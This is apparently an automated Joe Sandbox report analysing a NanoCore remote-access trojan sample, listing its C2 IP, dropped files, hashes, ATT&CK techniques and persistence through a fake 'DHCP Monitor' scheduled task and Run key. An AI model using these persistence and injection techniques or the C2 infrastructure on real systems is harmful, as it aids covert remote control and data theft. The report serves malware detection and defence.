Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_028428F6 bind,		2_2_028428F6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_028428C3 bind,		2_2_028428C3

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Access Token Manipulation1	Masquerading2	Input Capture21	Security Software Discovery111	Remote Services	Input Capture21	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection212	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Scheduled Task/Job1	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection212	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Information Discovery15	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Hidden Files and Directories1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Obfuscated Files or Information1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing11	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
NAO09009009.exe	33%	Virustotal		Browse
NAO09009009.exe	34%	ReversingLabs	Win32.Backdoor.NanoBot
NAO09009009.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	0%	Metadefender		Browse
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll	26%	ReversingLabs	Win32.Trojan.Jaik

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.MSBuild.exe.5720000.8.unpack	100%	Avira	TR/NanoCore.fadte		Download File
2.2.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
	0%	Avira URL Cloud	safe
185.222.57.171	5%	Virustotal		Browse
185.222.57.171	0%	Avira URL Cloud	safe
http://go.microsoft.	0%	URL Reputation	safe
http://go.microsoft.	0%	URL Reputation	safe
http://go.microsoft.	0%	URL Reputation	safe
http://go.microsoft.	0%	URL Reputation	safe
http://go.microsoft.LinkId=42127	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
	true	Avira URL Cloud: safe	low
185.222.57.171	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://go.microsoft.	dhcpmon.exe, 00000009.00000002.226502855.000000000129C000.00000004.00000020.sdmp, dhcpmon.exe, 0000000B.00000002.239160267.0000000001132000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	NAO09009009.exe	false		high
http://go.microsoft.LinkId=42127	dhcpmon.exe, 00000009.00000002.226502855.000000000129C000.00000004.00000020.sdmp, dhcpmon.exe, 0000000B.00000002.239160267.0000000001132000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.222.57.171	unknown	Netherlands		51447	ROOTLAYERNETNL	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	411952
Start date:	12.05.2021
Start time:	09:43:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	NAO09009009.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@15/14@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 46.4% (good quality ratio 45.1%) Quality average: 86.2% Quality standard deviation: 23.2%
HCA Information:	Successful, ratio: 89% Number of executed functions: 408 Number of non-executed functions: 33
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Excluded IPs from analysis (whitelisted): 104.42.151.234, 52.147.198.201, 104.43.193.48, 20.82.209.183, 184.30.20.56, 92.122.213.194, 92.122.213.247, 2.20.142.209, 2.20.142.210, 2.20.143.131, 2.20.143.23, 20.54.26.129, 20.50.102.62 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, arc.msn.com, skypedataprdcolcus15.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:44:42	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DHCP Monitor C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
09:44:43	API Interceptor	978x Sleep call for process: MSBuild.exe modified
09:44:44	Task Scheduler	Run new task: DHCP Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe" s>$(Arg0)
09:44:44	Task Scheduler	Run new task: DHCP Monitor Task path: "C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe" s>$(Arg0)

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.222.57.171	SYT09009.exe	Get hash	malicious	Browse
	EyOVPbKPk5.exe	Get hash	malicious	Browse
	AS90800009000000.exe	Get hash	malicious	Browse
	090090000000.exe	Get hash	malicious	Browse
	fatura 893454.pdf.exe	Get hash	malicious	Browse
	0997430988.exe	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ROOTLAYERNETNL	SYT09009.exe	Get hash	malicious	Browse	185.222.57.171
	shipment documents.jar	Get hash	malicious	Browse	185.222.58.147
	EyOVPbKPk5.exe	Get hash	malicious	Browse	185.222.57.171
	F14 PO pdf.jar	Get hash	malicious	Browse	185.222.58.147
	AS90800009000000.exe	Get hash	malicious	Browse	185.222.57.171
	FATOUOO000.exe	Get hash	malicious	Browse	185.222.58.152
	Statement of Account April-2021.exe	Get hash	malicious	Browse	45.137.22.107
	90800000900.exe	Get hash	malicious	Browse	45.137.22.107
	fixxing.exe	Get hash	malicious	Browse	45.137.22.50
	note-mxm.exe	Get hash	malicious	Browse	45.137.22.50
	purchase order confirmation.exe	Get hash	malicious	Browse	45.137.22.50
	purchase order acknowledgement.exe	Get hash	malicious	Browse	45.137.22.50
	TBBurmah Trading Co., Ltd - products inquiry .exe	Get hash	malicious	Browse	45.137.22.50
	FRIEGHT PAYMENT 41,634.20 USD..exe	Get hash	malicious	Browse	45.137.22.107
	Due Invoices.exe	Get hash	malicious	Browse	45.137.22.107
	PURCHASE ORDER - #0022223 DATED 29042021.exe	Get hash	malicious	Browse	45.137.22.50
	PURCHASE ORDER - #0022223, date29042021.exe	Get hash	malicious	Browse	45.137.22.50
	B_N SAO SWIFT MT103.exe	Get hash	malicious	Browse	45.137.22.50
	PO0900009.exe	Get hash	malicious	Browse	185.222.58.152
	PURCHASE ORDER - #0022223 DATED 28042021.exe	Get hash	malicious	Browse	45.137.22.50

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	SYT09009.exe	Get hash	malicious	Browse
	RFQEMFA.Elektrik.exe	Get hash	malicious	Browse
	cotizaci#U00f3n.PDF.exe	Get hash	malicious	Browse
	MT103 Slip.exe	Get hash	malicious	Browse
	Bank details.exe	Get hash	malicious	Browse
	Shandong CIRS Form.exe	Get hash	malicious	Browse
	Placement approval.exe	Get hash	malicious	Browse
	filespdf.exe	Get hash	malicious	Browse
	goood.exe	Get hash	malicious	Browse
	Orden n.#U00ba STL21119, pdf.exe	Get hash	malicious	Browse
	Orden n.#U00ba 21115, pdf.exe	Get hash	malicious	Browse
	PO-WJO-001, pdf.exe	Get hash	malicious	Browse
	DFR2154747.vbe	Get hash	malicious	Browse
	SOA Dec2020.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Mikey.117100.12986.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.DownLoader36.7233.23906.exe	Get hash	malicious	Browse
	Purchase Order PDF pdf.exe	Get hash	malicious	Browse
	Orden CW62125Q, pdf.exe	Get hash	malicious	Browse
	7444478441.js	Get hash	malicious	Browse
	7444478441.js	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.20894581699571
Encrypted:	false
SSDEEP:	768:NElGiBcBuiyFjUwF0wdP9/rJMDnRFRJfStGpwV3e3qtAcy:ilGBu7jjP9/tMDn9Jt+VO3GO
MD5:	88BBB7610152B48C2B3879473B17857E
SHA1:	0F6CF8DD66AA58CE31DA4E8AC0631600EF055636
SHA-256:	2C7ACC16D19D076D67E9F1F37984935899B79536C9AC6EEC8850C44D20F87616
SHA-512:	5BACDF6C190A76C2C6A9A3519936E08E898AC8A2B1384D60429DF850BE778860435BF9E5EB316517D2345A5AAE201F369863F7A242134253978BCB5B2179CA58
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SYT09009.exe, Detection: malicious, Browse Filename: RFQEMFA.Elektrik.exe, Detection: malicious, Browse Filename: cotizaci#U00f3n.PDF.exe, Detection: malicious, Browse Filename: MT103 Slip.exe, Detection: malicious, Browse Filename: Bank details.exe, Detection: malicious, Browse Filename: Shandong CIRS Form.exe, Detection: malicious, Browse Filename: Placement approval.exe, Detection: malicious, Browse Filename: filespdf.exe, Detection: malicious, Browse Filename: goood.exe, Detection: malicious, Browse Filename: Orden n.#U00ba STL21119, pdf.exe, Detection: malicious, Browse Filename: Orden n.#U00ba 21115, pdf.exe, Detection: malicious, Browse Filename: PO-WJO-001, pdf.exe, Detection: malicious, Browse Filename: DFR2154747.vbe, Detection: malicious, Browse Filename: SOA Dec2020.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Mikey.117100.12986.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader36.7233.23906.exe, Detection: malicious, Browse Filename: Purchase Order PDF pdf.exe, Detection: malicious, Browse Filename: Orden CW62125Q, pdf.exe, Detection: malicious, Browse Filename: 7444478441.js, Detection: malicious, Browse Filename: 7444478441.js, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{Z.....................@........... ........@.. .......................@......99....@.....................................S.......`/................... ....................................................... ............... ..H............text....... ...................... ..`.rsrc...`/.......0..................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\MSBuild.exe.log Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	325
Entropy (8bit):	5.334380084018418
Encrypted:	false
SSDEEP:	6:Q3LadLCR22IAQykdL1tZbLsbFLIP12MUAvvro6ysGMFLIP12MUAvvrs:Q3LaJU20NaL1tZbgbe4MqJsGMe4M6
MD5:	65CE98936A67552310EFE2F0FF5BDF88
SHA1:	8133653A6B9A169C7496ADE315CED322CFC3613A
SHA-256:	682F7C55B1B6E189D17755F74959CD08762F91373203B3B982ACFFCADE2E871A
SHA-512:	2D00AC024267EC384720A400F6D0B4F7EDDF49FAF8AB3C9E6CBFBBAE90ECADACA9022B33E3E8EC92E4F57C7FC830299C8643235EB4AA7D8A6AFE9DD1775F57C3
Malicious:	false
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..2,"Microsoft.Build.Engine, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.Build.Framework, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dhcpmon.exe.log Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	441
Entropy (8bit):	5.388715099859351
Encrypted:	false
SSDEEP:	12:Q3LaJU20NaL10U2+gYhD5itZbgbe4MqJsGMe4M6:MLF20NaL32+g2OH4xvn4j
MD5:	88F0104DB9A3F9BC4F0FC3805F571B0D
SHA1:	CDD4F34385792F0CCE0A844F4ABB447C25AB4E73
SHA-256:	F6C11D3D078ED73F2640DA510E68DEEAA5F14F79CAE2E23A254B4E37C7D0230F
SHA-512:	04B977F63CAB8DE20EA7EFA9D4299C2E625D92FA6D54CA03EECD9F322E978326B353824F23BEC0E712083BDE0DBC5CC4EE90922137106B096050CA46A166DF0E
Malicious:	false
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\527c933194f3a99a816d83c619a3e1d3\System.Xml.ni.dll",0..2,"Microsoft.Build.Engine, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.Build.Framework, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\nsdCA26.tmp Download File
Process:	C:\Users\user\Desktop\NAO09009009.exe
File Type:	data
Category:	dropped
Size (bytes):	232699
Entropy (8bit):	7.9458235958445975
Encrypted:	false
SSDEEP:	6144:fYBGR9+zLRHHtBFi+StSPBG/gIT6+ZgfNvUrGXFkE8UFUo5:gB3zhtBSesb6CgfNvxkE1t
MD5:	BFBA87CE8CA843AA02E81A2289ECB113
SHA1:	E1E727DA17C004DC2B4A58C9E712677B68339F93
SHA-256:	9C9EF994D63DEC90825F6F3EC91C81284CD9A51B6F1F8EEB542C11AC05E16D05
SHA-512:	6B52BBC1279D3A8DD01536D7B509025A35CF347D846763DC2F394B43288ABD294D8E9A82E7940FBFB8F5D15AB8776773DC9A79F7F8A0B622890E72049BCF509C
Malicious:	false
Preview:	........,.......................d....... ...................................................................................................................................................................................................................................................G...................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll Download File
Process:	C:\Users\user\Desktop\NAO09009009.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.633293990487776
Encrypted:	false
SSDEEP:	48:qV++kltvwuvDujtEzqwUQgMR2u5lNd/Z3Gmh:qkHvjDNmw/8u7Hnh
MD5:	3BFC96F1A112C283B6585A4CE0C7D189
SHA1:	061A77A69DCA69D2A344A908EBF8598921DD5FFA
SHA-256:	1CBF681459CACFDCAFE28399CA2BB190CE556A573436C8A2B205ABAFB62D948E
SHA-512:	1779FE59F5A09408B039B126FCC2E2E273525458D61184FB217E056C97EDC73F541693C01F7C7AA116368294864FD8781642B7611D820456A5113281A58D74D7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................PE..L....D.`...........!......................... ...............................@.......................................$..K.... ....................................................................................... ...............................text............................... ..`.rdata....... ......................@..@.data... ....0......................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q1do00rflcztdt Download File
Process:	C:\Users\user\Desktop\NAO09009009.exe
File Type:	data
Category:	dropped
Size (bytes):	15877
Entropy (8bit):	7.987428846489735
Encrypted:	false
SSDEEP:	384:qPV4M3TqyXeFbtRGwo/pSnfM6R4uHlZbmUnFoWHouj89n4:qiM3dcf2pSfZR1HnbmyrHouj89n4
MD5:	24BD111E1EDB9B67A16668B909F37B80
SHA1:	6706B953B5D1B4C211A4DDD0926B380776C3CA1A
SHA-256:	5B454CCD88BC78732CE6B6A40FEC0BBBC5FDEE4191F94ABF0B8DAD8AD06DB629
SHA-512:	08F9CAD39D360AC5EE34E4CFA1FEA6DBBE6E2EA87481D69A3643891507E27B94C815917F0A02F24F71BA55C7667771534B69FB008806D832894E01F602B59F23
Malicious:	false
Preview:	I.p....\.%q...9t.sK.z...t...h.........I....p.}J.~...{I.{..'..N.......;.\|.R...C....\|._Ll.D...?...=..I@......;.e.U.......a.HAa.A.....2."..p9......{.z.H...E...V.}Ff.Ft,.-...?.>C>......r.C.S...J.}.c.BSs.[......<..Z.......R.p.F...W.u.p.SpP0X,..3...1..E4...../.i.I...D...u.LUu.U.......6..Z\|-......&.n.\...Y.f..z.IZz.Zm8.1.5.#.-O".......G.G...^ ,.w.^Gg._...>..@ ..V........d.J...[...d.wTt.\...'./.%..Q(.......}.M...H...i.`Ii.I...,....0h1......r.P...M.#.^.eNn.N.$.%...7..K6......[.K...R....{.JKk.C.'.2...$..B/......x.^...O...x.[Xx.P"..;...9.eM<.......a.a...L...}.t(..hnK....f3.R%.~..z...._...........?..CK~n.[{b..../...4..s....f............&..^HyC.Hh}.=..#8.).......i............=..QMdX.Mmx.:.@)23.....%.W7..K6...g...TQ)....[.........t/q%..IUL....o._........x\|-.....r...QP"..;.:.z-.'..[Sf^.Ccz.0..7...,..k....~...J........>..F`aC.`e.5..".@.!.Yx....a............5..YElX.Ee..2.8!.;.&..I................f.C.S..J..r7.l..3...'...<?6..Mmx.

C:\Users\user\AppData\Local\Temp\tmpD89D.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	5.136963558289723
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mnc2xtn:cbk4oL600QydbQxIYODOLedq3ZLj
MD5:	AE766004C0D8792953BAFFFE8F6A2E3B
SHA1:	14B12F27543A401E2FE0AF8052E116CAB0032426
SHA-256:	1ABDD9B6A6B84E4BA1AF1282DC84CE276C59BA253F4C4AF05FEA498A4FD99540
SHA-512:	E530DA4A5D4336FC37838D0E93B5EB3804B9C489C71F6954A47FC81A4C655BB72EC493E109CF96E6E3617D7623AC80697AD3BBD5FFC6281BAFC8B34DCA5E6567
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Local\Temp\tmpDC18.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1310
Entropy (8bit):	5.109425792877704
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0R3xtn:cbk4oL600QydbQxIYODOLedq3S3j
MD5:	5C2F41CFC6F988C859DA7D727AC2B62A
SHA1:	68999C85FC7E37BAB9216E0099836D40D4545C1C
SHA-256:	98B6E66B6C2173B9B91FC97FE51805340EFDE978B695453742EBAB631018398B
SHA-512:	B5DA5DA378D038AFBF8A7738E47921ED39F9B726E2CAA2993D915D9291A3322F94EFE8CCA6E7AD678A670DB19926B22B20E5028460FCC89CEA7F6635E7557334
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Local\Temp\yw4e566wncbxyt Download File
Process:	C:\Users\user\Desktop\NAO09009009.exe
File Type:	data
Category:	dropped
Size (bytes):	207872
Entropy (8bit):	7.999202585371924
Encrypted:	true
SSDEEP:	6144:2+zLRHHtBFi+StSPBG/gIT6+ZgfNvUrGXFkE8UFUoW:PzhtBSesb6CgfNvxkE1tW
MD5:	858FF867A327D25FA18931791F3B062E
SHA1:	D072503D61F302AAAC6B711E192AF5F02535F568
SHA-256:	32B1B06E77375392D1204FFB933AB8337D10FC11C22C2069633011998372C5A5
SHA-512:	29F162D83DBB46E1BD25BC99C8088DB29C057BAC5435DF80C000957B41B450AC6E3128C3CB57275198465605527D959B51457BC4F29CD4CBB0D9EBECAAFB3228
Malicious:	false
Preview:	C.. .SypS......q.$S./.M...]O..h..\|.r..I.S..\|...'Y...X..0..... .._i..]....IO.V:q..fz.O.?.jf}...Oa=..+."..e...].C..<....D0.Y..{7......{C.Z.&.x.05s...~&.....M.(...r`......^w..d&UV..Zb.M...{...l..8z.4..#R..R......../.{...v.~MF!./...6..K0..K..w..F..R[z.j"?ev8.rZ.5.g&..W6..`.....Dh3...9..5rh.\.mD.f.....h.......6.c3:.P..C......`+.=.A.....}.b.{}..B...d.ny. jX.../..\....=I.. ..9..6..w.p.O.j..evO.R.Gb.S2..W6$......QUi ;..jwG."...$..........Q.>.T....T.%]&...]......+`.M.]6T...g....j..L...O;..I..+~..A.M.1.N...;<......7.......F9[.9.....ok...W......../.?.n......h.@..>..;.O..?.9.@..p[.......g..S".:......{...fL.....#..Z..`....2L5.:.....o..U0.*.(E,.#..]....Y..z...9C`..'...M......x.....7"....NU.;.)...+w...8.........3..5.5..5(G..v.=.......e...P....gf.....W....=Z..t.7y.k[...-2gu..w....j..!\|..A?4...n..... ..XP.c6V\|.....:2p.o..<.....Rm.<...0.}q..-}cNh.M......@.._.s;..e.3M#.F....L:_.+(....V!.hSt.....t..X<<......T._/.......4k.Sd.BS"..B(..u..2.S.

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:Eq:R
MD5:	B7F8B97632E6216C1F0F73EA5DD90CC1
SHA1:	BDE7507A816875E5FD1BF7FE63870814AE874231
SHA-256:	D7BD87BDD316B1C3E51C0A384C58836AFB9553F95343E3A47974229F55C02DD2
SHA-512:	3ADB9F12EEEC3918FB2D0F12791ECFEFF8BE85628C81B2728EB2348A01AD6FF44B897E29C8CDBADB28FF0E53E49253491570560E03557CF2AECB0FA37C7D4ED7
Malicious:	true
Preview:	2i.=e..H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\task.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.85263908467479
Encrypted:	false
SSDEEP:	3:oMty8WbSI1u:oMLWuI1u
MD5:	A35128E4E28B27328F70E4E8FF482443
SHA1:	B89066B2F8DB34299AABFD7ABEE402D5444DD079
SHA-256:	88AEA00733DC4B570A29D56A423CC5BF163E5ACE7AF349972EB0BBA8D9AD06E1
SHA-512:	F098E844B5373B34642B49B6E0F2E15CFDAA1A8B6CABC2196CEC0F3765289E5B1FD4AB588DD65F97C8E51FA9A81077621E9A06946859F296904C646906A70F33
Malicious:	false
Preview:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

\Device\ConDrv Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	306
Entropy (8bit):	4.969261552825097
Encrypted:	false
